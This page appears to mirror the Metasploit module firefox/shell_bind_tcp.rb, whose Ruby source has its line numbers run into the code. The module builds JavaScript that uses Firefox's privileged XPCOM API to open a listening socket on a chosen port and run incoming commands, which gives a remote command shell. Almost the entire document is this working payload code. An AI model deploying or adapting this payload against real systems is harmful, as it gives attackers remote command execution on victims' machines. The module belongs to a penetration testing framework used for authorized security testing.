Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/firefox/shell_bind_tcp.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Firefox12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)',17'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},18'Author' => ['joev'],19'License' => BSD_LICENSE,20'Platform' => 'firefox',21'Arch' => ARCH_FIREFOX,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'firefox'25))26end2728#29# Returns the JS string to use for execution30#31def generate(_opts = {})32%Q|33(function(){34window = this;35Components.utils.import("resource://gre/modules/NetUtil.jsm");36var lport = #{datastore["LPORT"]};37var rhost = "#{datastore['RHOST']}";38var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]39.createInstance(Components.interfaces.nsIServerSocket);40serverSocket.init(lport, false, -1);4142var listener = {43onSocketAccepted: function(serverSocket, clientSocket) {44var outStream = clientSocket.openOutputStream(0, 0, 0);45var inStream = clientSocket.openInputStream(0, 0, 0);46var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]47.createInstance(Components.interfaces.nsIInputStreamPump);48pump.init(inStream, -1, -1, 0, 0, true);49pump.asyncRead(clientListener(outStream), null);50}51};5253#{read_until_token_source}5455var clientListener = function(outStream) {56return {57onStartRequest: function(request, context) {},58onStopRequest: function(request, context) {},59onDataAvailable: readUntilToken(function(data) {60runCmd(data, function(err, output) {61if(!err) outStream.write(output, output.length);62});63})64};65};6667#{run_cmd_source}6869serverSocket.asyncListen(listener);70})();71|72end73end747576